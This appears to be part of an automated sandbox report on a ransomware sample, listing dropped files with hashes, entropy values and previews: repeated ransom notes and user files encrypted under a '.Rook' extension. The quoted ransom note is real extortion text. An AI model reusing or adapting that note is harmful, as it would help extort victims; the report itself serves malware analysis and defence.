SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	21624
Entropy (8bit):	7.795972222416731
Encrypted:	false
SSDEEP:	384:RQTzCtA+5mYjdSC85nBlBxTH4Y6gDe2HbDlOUtcGoscg0t7wAS0TJO3LPG:RczCtA+5mYhiBzBx6OeQbZOUGp1gWwAd
MD5:	56DAFD3DAD280E8796424A7EC7E88ED1
SHA1:	9A6D622AF852B21D3764B1EA1E6D47B3E361FE90
SHA-256:	57CA5E1194241A947D75AB37E685E3A7E4F50FDEE84BF51DCEA0881E3D73AB8C
SHA-512:	A95195A1A424A6F1CB6AF1D55ECF7A12FE806FA431C3BA2FC3E7932D90905E7955B11E044F1DABA63ED5EA6ED40ED0003DAFA154E5D08278B5B3D639CC15B4AC
Malicious:	false
Preview:	f.K.b.....<..;...p............[CVY..[.....d...vl ...(..........<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI.................<[c..;[51..(LI............N.0.Q<.<...9yF...mIY.J..0....K.......8M....A',&l...$....M!`.l.....J..7..\..Y....K.B....wz...<`F.....{...$..........7....U.._t:.a_..>...N.r.L....9..H.hd..*1y.LxK..._.J..........k.g.....).......$.\|......V.WNN.U..e...<.....O...G.V.Dd..Kh.t.....p7..j...=.........c ..Tp...r+..^..F.N.E.W%..V8.&uP..,!...g...i"...C..w....-.Z....Kbl.H..V..9.2.,)s.....3$..r.R..g.3....q$.......O..6..#=.......=.P.......!............t.L.

C:\Users\user\AppData\Roaming\Microsoft\Vault\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Word\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Word\STARTUP\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Contacts\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\7-Zip File Manager.lnk.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3368
Entropy (8bit):	7.776335408854921
Encrypted:	false
SSDEEP:	48:CIuvRD6HrNaG3UNeCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBd:C1DuQG3c7Ko4/AAUn5U50+NS43LPuLjv
MD5:	296F2E7732B6A8384BAEEC2B1ABAFE32
SHA1:	A80635277870D1BD67D86BCD8395C7A7E92CB400
SHA-256:	9A3E1296B63E1CCF1518C0F8BCD3CD4D4014FB14F90D3CBDA8B979DE3C967B0A
SHA-512:	23AC8E27D5813DCF1B7FA57FB5B051EF33C01DC4F47CEC1EAD404195827F73EAAF9BD8EAB6254A17EB205A22EDD503290AA327337D075440EB0B844DDCB9A83D
Malicious:	false
Preview:	..}...."..a.......F.... ......h..d,g.r...m.G.......>...........h~M. h....<.]...P.O. .:i.....+0..^.A3N....g...3.............1......+1}.r~.cP...1..t......sN.&..0.. m..e.pp.m.......J.....1.8.\<.(.q.( b.+N'.F.i.l.e.s...@.s....o>g..'8m~V.H.l.l.,.-.2.1.7.8.3.B6..a]....gT.R....7-Zip.<.....X.a<.#....s>.c..................-....<1.....4.p.....Z.2..>..U....VT...5...t.P......R...R...t)[......[,.U................7.z.....mc.n......G...N.............>(.iB.=...V.'.........;S........5...xx....R..V.\7-Zip\7zFM.exe...5..t...J.PPo....\.....\.....\...G6Ow...k......a.m. .F.i.l.e.s...f...o.wS.K....z.F.M...e.x.e.`.B.D=....]+.4.\|yesktop-ecqdgo6.N..`h6.6...x.X....'.............N..`h6.6...x.X....'.............E.....Z.d0W.D)..u.mD..pH.H@..=x....c..D.\|kX....H./EG.gM.U.........M.7.....VIEk........................1i;A.2...^@PE4\;...M.>h.dW{A..#.....6\|.......Q...W..a.F[.+,.....FRU..b.....0..{. %...[>._<.]....u.&.u.L.otA~..r.g..W..$.Q...(....H..hM.R.;Q.n .(......^%U)..E.N#i($..&.,6....]R7..D.c..

C:\Users\user\Desktop\BQJUWOYRTO.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.840375224700327
Encrypted:	false
SSDEEP:	96:COKSp/Egf+5cb7tNC7Ko4/AAUn5U50+NS43LPuLjv:C1SNx+58fJoiM5U50B43LPun
MD5:	E1390935C0137506C36B4F6E59A2437D
SHA1:	5E825433E89EB5B780B72B9A7FFB63D85609FDB7
SHA-256:	3EC80E006F9CB40CD95DAD5528E22197F6E18A05D704762943553EC583DEECCD
SHA-512:	B248A8E443A72686817C2C6867E3C88972E4E90342C28C3A258A573C5A19304538372E4B4002378034742C1B43E2AD661011867F2D5A9788E5679785903F3E8A
Malicious:	false
Preview:	...4;.(...m....XDLSWRNMFMCSYXRP..."x.._...4.2.yDYNKGJBBEKHPTUBSEM..u=..:Rr_\|.unJPJKOPTWULSKKXLSE"...Z..(..+T.KBXKKCMYLLBRWPJMB.q..&...B_..n.RNGQLIDNRZYVXHIWGDZ"...i+.7.~.BKWCQQGPRFDTAZUL..u..P.RR.._SAIWAICBXNPXUMZFR........tv...:.3BODAVKDNOLRNYNBK)...;.!..X.zB...KDRZIHJDDUPOXQOJM.'....${.....PYCRBAHBBGKXGMOD.+.?....G.n..5lCUCKKJSLQYPIMPYZ!+B......i.....QHTXZBXONOWDVDWQ..n!.G.~a.?.+.}.SFUGKZZBFUUTDDOM4...LR..-.%.._..SLPUXATPQGHCHIJR......fp.&..._.HEDHOUMBJWJSCXGDM.v.....KHUc....KRJCRXWGYTZRFYVO.%'I].-9.L.I..;FMPWSBHHWRRLBRKC(.}(X c..5..y.qgPHYJGALXNLZXJVWW...t$.2..(......KRDQBGOXOULNHYYU..2i...;V\|[...LNJBTSMXAWVUVUVK.Vr`8A..-.{...hMJMFWUZTFVNALCFB...}..s.o.m..aBZRVOPDFCORECRQJT....Z.@.I......LXOISHLMFTEBKUAI5[5.."..r,d...xLSIPNJTWJLGARSXD[...E.*T.._.W.6LKQTPVOVXSGKMXEExD[.^...H;w..:.^PXBVELHRSUIIUSGM..........F8.jfGAVGKNPMSZMHRWAK1... ...Bp'=Xk.LAAVOSTLMEJGFHJS.Ri.b...>...c.AUWSZMQZHAMPRHAWD..Ew.C.~..Q3.MhZNMBWVRFZTJLSUUU..s..Y~b...,J..IJTNPLJBASLIHCUC@..;....

C:\Users\user\Desktop\BUFZSQPCOH.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.837757595227135
Encrypted:	false
SSDEEP:	96:6zKs64M0Tp2w7Ko4/AAUn5U50+NS43LPuLjv:6uGfTEoiM5U50B43LPun
MD5:	845F78139D2EF5767EBA2CEC25E9C5E9
SHA1:	F2808798CED3E58B2115E3153E0C8D3E172256A3
SHA-256:	345EF3DF517C90CD6BD30B35B31798D8847B389B0469E92EBD3BF32B6B366BF5
SHA-512:	3BFEEC4551558FF6C0AF507A90AB84D186E5BAAC0D19E6EA93A1F48432F4435F2E0BF93A8BF62FB07E2AD15DC9615A5431F2D4832D958FD36D1A1C8CC2245E10
Malicious:	false
Preview:	..8..x..b..QM..HMHLNSRPRTVPDQBU.....^.97t..0.!DJEJWAHUKUUNHNODP.=.P#..X..')K.VUCIFBOWJXTDYGJY......pT.X.`rgx(HSRGGYVPVGUAROKT..cQcCok...r....UNUVQUXGDDRCCFXN$..J..XQ.1F.7..ITBSODAQBZRACSSJ....t......0)..NWLGQGIXRSOSOSXF2.z..y........KNLLIXAXMLRXRNSA..Z0...4....#..ZZGQUPFGUIAACPLZ..n........../T.EZHQMZKSQNGWWBKC.fh.B./\.....\|GRUCQBYNKOAKNKXZAU..(...wz=J...S..ESNPTYNSPXUTDFYX...$.........g.CIBKOGMJGNSDDHJI..t2#.._.Nb..DMMSOGVDCESUEEHGO&..33.V{.....&5LZEKAGRGLYLWFGMA...W....N...AC+LTUUXPEUGETZPBEK/.......w.Y.O...VDHIDSZROKAYGDUI.......3...eJaQVJPAVOFSSUSZJNM.... :.....3...AQEKDHCKCIVUYLXH..s..3...vn..'.MGKTRDESXVITCZNH6.gvH...B.9..i.1SMCHTFHQMHCXBMKZ(h..QL.1...N.P.{GBJNFZWJWPLWVHAV..........G.....CMDUDJRJPWXFBWBC.$......M.3..*..QDFROZXDUUROLEJY..>......z\|(..xRYABQHMQMPXTIBHF...y....$..R2.[.WENGHOTDBECRYJDN.>S..!.J{I8...YMCPEBELRZLSAHCI.....K..8T..[ajITMLNPHLHXANDSON...Q.D....e.; ..JKHEASISSKRWUYGF..h.t........>..AJQYLOQBNHYGIGKJS..2......#...yHDTONANJGYWXHUWU.0...W].

C:\Users\user\Desktop\BWDRWEEARI.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839913144209208
Encrypted:	false
SSDEEP:	96:8ztaUQAjO2FZ27Ko4/AAUn5U50+NS43LPuLjv:GnQAjd3oiM5U50B43LPun
MD5:	143AC0388AAC6CF66CA3642169B74113
SHA1:	FCF502638A97625BC76DD9453A178C206F74FC4F
SHA-256:	63C5674BDF180B430C250861387B4B40ED48132628704F877BCCE87A67BC4E48
SHA-512:	DD4E168F67BE526630567DB66D9943FDE3ACF5AB80CB933D9610792A52974752C2217A113E1653F9B17BE28E8BA15BC5F954851D8BCB24E72BE6743951F6957A
Malicious:	false
Preview:	.U..W....=.G5.YFZKKDZROVEXHIWV.J......J....q.UARELJDXJXCSHTPH..V..\..P.4..../SWGLMRRJSEIGOIXH"...."`..:.S.).EYRRCAEYIYIDAZFY...&.vG.x....vAQIAICZQWEBEGEFKV`.).%.f ..#G..P.VMUNNYYOCDVZVNLF[..4.....j..z.\DRJAHLNPQBHYCZTYiG...........53ALMPPSQZAAYPORMHI. ..c..?=(..{.FIRXNFDVQZSZAWNV..A.%..o.3..[q..NFJJZSUQWRBLHJRB.7.L"G....-.`..YNHPPIXZOEZBTJVV......P.$#.C)..TZPXEFMEGBQIWJWEN.sY0b../:.,5..VBYCRJHEAPKMQTFB(.)aj.~.Cr.X6..FKBIVGOEKQTPROWJ^.....T.k.9m.6eyDOYJHFLFDPWAUBFZ.X.x..7.>.2K.(zEFIGEXIWYKDNDXZD...6...'....f.GEYCOTPSHBIHWNMF.`.)BopS..]jW..RXRDUTNEVIVXRZAFT..\|?".\i/.q.u..NNFAZREEJMMAYLCE.....Z..!.0.X(AUDJBTIBXIGLQAUA......q^..<...AVBCBZQUROXOPVYH.0..X.d...V.q.eVEVNCAEAGPJZDVRS"j.s..A....b...SKDCSULRFDCPIFAQ..\0..Z.....$JQFDAXWIIRQOXDDH..l..uT..e).){.MTWWPRGTZDPGWXXOa\...{....T...Q.UJGTQKFTJYBFZUIM..W....Tr.-.b..RSFZXSFZBBCYPRSA-tF...\|Q....i.REJOCEEMMPDKFUGG*h.....!/..#Z...KBUNLSSHRUSLHBDFo.....y..9t.....CHGINQIOTMAKGKPQ.+m..bY^... ...BUPKQZAJUMMQGLLGA...c....

C:\Users\user\Desktop\BWDRWEEARI.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.837217158346078
Encrypted:	false
SSDEEP:	96:yVj7stGpML5x7Ko4/AAUn5U50+NS43LPuLjv:MpgKoiM5U50B43LPun
MD5:	172EA7B42682CB8683AABF4E509AA6BF
SHA1:	45E686ADA5B9319A1300ED7D241528ED9AE6C464
SHA-256:	1C6540B5DD053691F806E48B15536C3397C63ADE06F98C6ECFA7317D54BE45A0
SHA-512:	A3C4A71C0EA4598E794FD1DEDB0E1B285A92B21AC8BFEA15496C27EC84AB87B04FCBEF64965EF0C2E97500DD0A9BBF0990D7DC47702E20AFCF0C3D2FF8531E12
Malicious:	false
Preview:	u.u..] .T.E..b..YFZKKDZROVEXHIWVA.C.....P0&,...UARELJDXJXCSHTPH..$..._\|..U....%SWGLMRRJSEIGOIXH..;t..g.~#....gEYRRCAEYIYIDAZFY...!J.Q.Z.7)3..cQIAICZQWEBEGEFKV..}..:..w......^VMUNNYYOCDVZVNLF^...D...L`..x.dDRJAHLNPQBHYCZTY..xS.qPN.a'.F.`LMPPSQZAAYPORMHI......$..g.._.FIRXNFDVQZSZAWNV.8.....'..M...NFJJZSUQWRBLHJRB..a...T(H0....K.YNHPPIXZOEZBTJVV7..$?. z}h.j.v.yTZPXEFMEGBQIWJWE...rtmdcgZ.!.BVBYCRJHEAPKMQTFB..D..H..X.$\|.MFKBIVGOEKQTPROWJ-ej.E...%....q.DOYJHFLFDPWAUBFZ.....s..v....'.EFIGEXIWYKDNDXZDk.s.*#8(.61.w..\GEYCOTPSHBIHWNMF!..b.0.#.;...ng.XRDUTNEVIVXRZAFT.F...~..k.jJ.jNNFAZREEJMMAYLCE......{......AUDJBTIBXIGLQAUA.....if.h.V....AVBCBZQUROXOPVYHk...w.r.......VEVNCAEAGPJZDVRS..;1C\|..@.q./..SKDCSULRFDCPIFAQ...$...T?#$...IJQFDAXWIIRQOXDDH.i....8.~pg..MTWWPRGTZDPGWXXOr.X..a.z....%.+.UJGTQKFTJYBFZUIMZ..y.<8.H7......RSFZXSFZBBCYPRSA;..-u'...4..FgT.REJOCEEMMPDKFUGG.R.,q.S..G)...o"KBUNLSSHRUSLHBDF.<^......v..A.CHGINQIOTMAKGKPQw.wm.hs....p...LUPKQZAJUMMQGLLGA.....Hk$

C:\Users\user\Desktop\BWETZDQDIB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847771144234618
Encrypted:	false
SSDEEP:	48:vGZ/4Ty5OLv3/jIhFLF0i+pCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13Kmhe:7Tyevs+o7Ko4/AAUn5U50+NS43LPuLjv
MD5:	FE06AE29DAC42626E46AF9F86C1EF670
SHA1:	0EAB1848D7499E9A10CE36F8FD1C0E4D8EE6E466
SHA-256:	7AB442EC7CAAD4033FBCA09F55C1DDACE9B1F5BBA1029FCD1BC25C387E483781
SHA-512:	587BD3686378F73AA9906B3E423E6A59ACE4CD8372816314949B1E2867390DB4263F3AB0090E0F371913A168A467FD37857CB2BE4BD2A037EC8DB764A2646D60
Malicious:	false
Preview:	.P.~..~.0.....DOQRLAJJXRDBLDFB.R..+g...N..%.UGAQRDCJJEFDABYZY.BV.M.P>{.%.t...XAGPARMQITJGBTEI..R\|QZ...v..E.GWWXSQPINXVZNICU..+..w(35......KSUOMUYXXJBNRHSW.0.1y.6.>.......DIRHMCIKNAEITRDM.....$0.2t..[..AJBGSTOEKDCPMFHU.....9.@R.p.lJMKIKGFSROJUBEFT.d..9.q5S(...Hy.AOCQRTZMAWJSRSIP....yFq.p2j..4M.PJSZDERJOBZOXMTB.+..z.....^...@FAZLAAQLHHEELXVSu.a..' !...(`.4zLEJZMVUVUNOVPOXE...PZs...q?g..JYAFFYQCUVNCGKNU.\|.....`].y.jF.GQCDDWUZCRICRCAW.....ar'..-...0NVXJFJSEWZTEBNFJ...U.k......J.wHISPEAOYYRCQBCBD'.....W.J..N.>.OHGITMKUFLEYTFZJ....x...e.Z....XZSQUHXXSALOPVLOA...3.!.+..WOWOIRHKGVVRHMXL_T..._V.acM3i...RVMAWAQNDVBPJGZQ...a..o.......TKGQVYKDTHZMKOXX0..O"..p.BB..".EBDTDWEOKDABJHEN...:l.....l3g..KFZSMFYJWSBWYPLPaSd.v..J.......8QHPGAVCMUTSEWICD.{D..<m........IVGDEQWVLICXXRGZL..4.>.U.LNv....ABSFGBTCWHWOQFRE}...."....*t....VFVHIYCSSHMLTNWX..rl.UQ.+o...<.&TGZFHOYCMPKIHBEG.....V..v`.....TMRYSLNISEZDXWUXI..?,.??\.&....OOEZVUJEMDKMJMIMP:..l...j.l......JWOHIJSOTCNEGSSE.n/..E.

C:\Users\user\Desktop\DBIQSSCSZX\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\DUKNXICOZT.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.845727732810062
Encrypted:	false
SSDEEP:	96:wbjEon96N7Ko4/AAUn5U50+NS43LPuLjv:wfnQMoiM5U50B43LPun
MD5:	7111A8D5FA3E23AEF512ED8049E1C021
SHA1:	FFC2719EEF7FA61FDFBF0394DE7DE6542ACC8035
SHA-256:	08C141EA53D8C20D34818BD8A3B25372B12665B4AD792745F4EF226E4A8A648A
